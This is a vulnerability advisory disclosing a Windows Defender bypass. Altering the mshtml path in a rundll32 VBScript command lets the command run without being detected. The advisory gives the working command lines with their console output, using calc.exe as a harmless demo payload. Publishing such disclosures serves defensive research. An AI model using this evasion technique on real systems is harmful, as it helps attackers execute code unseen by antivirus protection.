Microsoft Windows Defender – VBScript Detection Bypass
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_VBSCRIPT_TROJAN_MITIGATION_BYPASS.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.microsoft.com [Product] Windows Defender [Vulnerability Type] Windows Defender VBScript Detection Mitigation Bypass TrojanWin32Powessere.G [CVE Reference] N/A [Security Issue] Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail and attackers will typically get an "Access is denied" error message. Previously I have disclosed 3 bypasses using rundll32 javascript, this example leverages VBSCRIPT and ActiveX engine. Running rundll32 vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0), will typically get blocked by Windows Defender with an "Access is denied" message. Trojan:Win32/Powessere.G Category: Trojan This program is dangerous and executes commands from an attacker. However, you can add arbitrary text for the 2nd mshtml parameter to build off my previous javascript based bypasses to skirt defender detection. Example, adding "shtml", "Lol" or other text and it will execute as of the time of this writing. E.g. C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\PWN\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0) [References] https://twitter.com/hyp3rlinx/status/1759260962761150468 https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txt https://lolbas-project.github.io/lolbas/Binaries/Rundll32/ [Exploit/POC] Open command prompt as Administrator C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0) Access is denied. C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\LoL\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0) We win! [Network Access] Local [Severity] High [Disclosure Timeline] Vendor Notification: February 18, 2024 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx |